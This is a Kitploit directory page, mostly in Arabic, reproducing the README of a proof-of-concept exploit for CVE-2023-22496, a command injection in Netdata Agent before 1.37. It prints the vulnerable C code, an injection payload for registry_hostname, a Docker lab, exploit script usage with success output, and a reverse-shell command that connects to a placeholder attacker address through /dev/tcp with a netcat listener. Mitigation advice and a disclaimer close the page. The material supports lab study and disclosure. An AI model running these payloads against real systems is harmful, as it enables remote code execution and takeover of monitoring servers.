Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-22496-PoC — إثبات المفهوم لـ CVE-2023-22496: Netdata Agent <1.37 حقن أوامر نظام التشغيل عبر registry_hostname | Kitploit
أدوات/GitHubGitHub/jstjep00/cve-2023-22496-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالقيادة والسيطرةالتعلم والتعليممختبرات وتدريب عملي
GitHubjstjep00/cve-2023-22496-poc

CVE-2023-22496-PoC

إثبات المفهوم لـ CVE-2023-22496: Netdata Agent <1.37 حقن أوامر نظام التشغيل عبر registry_hostname

عرض المستودع
112منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-22496 — إثبات مفهوم حقن الأوامر في نظام التشغيل لـ Netdata Agent PoC

الخطورة: حرجة (CVSS 9.8)
المتأثر: Netdata Agent < 1.37.0
تم الإصلاح في: v1.37.0
النوع: حقن أوامر نظام التشغيل (CWE-78)


نظرة عامة

CVE-2023-22496 هي ثغرة حقن أوامر نظام التشغيل في نظام إشعارات إنذار الصحة (health alarm) لـ Netdata. يتم إدراج registry_hostname لأي عقدة في سلسلة البث (streaming) في أمر شل دون تنظيف. المهاجم الذي يمكنه تعيين registry hostname في ملف تكوين Netdata يحقق تنفيذًا بعيدًا للكود (RCE) كمستخدم عملية netdata على أي عقدة أصلية (parent node) تقوم بمعالجة الإنذار.


تفاصيل الثغرة

الكود المعرض — health/health.c

static inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
    ...
    char cmd[LEN + 1];
    snprintfz(cmd, LEN,
        "exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
        exec,                        // alarm-notify.sh
        recipient,                   // e.g. "root"
        host->registry_hostname,     // ← NO SANITISATION — attacker-controlled
        ae->name,
        ...
    );
    ae->exec_code = spawn_enq_cmd(cmd);   // run via /bin/sh
    ...
}

يقوم spawn_enq_cmd بتمرير السلسلة إلى /bin/sh -c، والذي يقيّمها كشل. نظرًا لأن registry_hostname لا يتم تنظيفه أبدًا، يمكن للمهاجم حقن أوامر شل عشوائية.

التجاوز: استبدال العملية exec

الحقن البسيط `'; cmd; '` لا يعمل لأن exec هي أمر مدمج في الشل يستبدل عملية الشل الحالية، لذلك لا يتم الوصول إلى ;cmd; المحقون.

التجاوز الناجح — استخدام & (عامل الخلفية):

# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...

# Execution flow:
#   exec alarm-notify.sh 'root' 'x' &   → runs in background; shell stays alive
#   touch /tmp/pwned &                   → shell evaluates this; file created
#   #                                    → rest is a comment; ignored

سلسلة الهجوم عبر البث

┌──────────────┐  stream  ┌──────────────┐  stream  ┌──────────────────────┐
│  agent_child │ ───────▶ │ agent_middle │ ───────▶ │   agent_parent       │
│  (المهاجم)  │          │  (المرحل)    │          │   (الضحية / الهدف)   │
└──────────────┘          └──────────────┘          └──────────────────────┘
                                                            │
                                              health_alarm_execute() fires
                                              with injected registry_hostname
                                              → RCE on agent_parent

المهاجم يحتاج فقط إلى التحكم في أي عقدة في سلسلة البث. يتم نشر registry_hostname في بروتوكول البث واستخدامه كما هو من قبل كل عقدة أصلية عند استدعاء health_alarm_execute.


هيكل المستودع

CVE-2023-22496-PoC/
├── Dockerfile              # Builds netdata-vuln:v1.36.1 from source
├── docker-compose.yaml     # 3-node vulnerable streaming environment
├── exploit.py              # Standalone exploit script
├── config/
│   ├── parent_netdata.conf # Parent config (writable — exploit overwrites this)
│   ├── parent_stream.conf  # Parent accepts streams + evaluates health
│   ├── parent_guid         # Fixed node GUID
│   ├── middle_netdata.conf # Middle relay config
│   ├── middle_stream.conf
│   ├── middle_guid
│   ├── child_netdata.conf  # Child sender config
│   ├── child_stream.conf
│   └── child_guid
└── README.md

بداية سريعة

المتطلبات الأساسية

  • Docker ≥ 20.10
  • Docker Compose v2 (docker compose)
  • Python 3.8+
  • ~500 ميجابايت قرص (بناء الصورة)
  • اتصال بالإنترنت لبناء Docker (يقوم بتحميل شفرة مصدر Netdata v1.36.1)

الخطوة 1 — بناء صورة Docker المعرضة للثغرة

git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC

# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .

الخطوة 2 — بدء بيئة مكونة من 3 عقد معرضة

docker compose up -d

انتظر حوالي 15 ثانية لتهيئة Netdata، ثم تحقق:

# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."

الخطوة 3 — تشغيل الاستغلال

# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"

# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned

المخرجات المتوقعة:

======================================================================
  CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
  Shell command : 'touch /tmp/pwned'
  Injected host : "x' & touch /tmp/pwned & #"

[*] Pre-flight: verifying Docker environment
  [*] All 3 containers are running.

[*] Step 1: Writing injected netdata.conf for agent_parent
    Written: config/parent_netdata.conf
    registry hostname = "x' & touch /tmp/pwned & #"

[*] Step 2: Restarting agent_parent to load injected config
    ...
    agent_parent is up and responding.

[*] Step 3: Waiting 65s for a disk_space WARNING alarm

[*] Step 4: Checking for command execution evidence

======================================================================
  ✅  SUCCESS — CVE-2023-22496 CONFIRMED
  '/tmp/pwned' exists on agent_parent
======================================================================

مثال شل عكسي

# On your listener machine:
nc -lvnp 4444

# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

أمر مخصص

python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)

تفكيك

# Stop and remove containers + volumes
docker compose down -v

# Remove the image
docker rmi netdata-vuln:v1.36.1

التخفيف

الإجراءالتفصيل
الترقيةتحديث Netdata Agent إلى ≥ v1.37.0
التقييدتقييد صلاحية الكتابة إلى netdata.conf
الشبكةعزل منافذ البث (19999/tcp) إلى الشبكات الموثوقة فقط
التحققnetdata --version — تأكد أنك لست على إصدار سابق لـ 1.37

الإصلاح في v1.37.0 يقوم بتنظيف registry_hostname عن طريق رفض أي أحرف خارج [a-zA-Z0-9._-] قبل إدراجه في أمر الشل.


المراجع

  • NVD — CVE-2023-22496
  • إعلان أمان GitHub GHSA-qxg7-jvq3-7x6h
  • إصلاح Netdata (commit)
  • إصدار Netdata v1.37.0

إخلاء مسؤولية

هذا المستودع مقدّم لأغراض تعليمية وبحث أمني مصرح به فقط. تشغيل هذا PoC ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها هو غير قانوني. المؤلفون لا يتحملون أي مسؤولية عن سوء الاستخدام.

تنزيل الأداة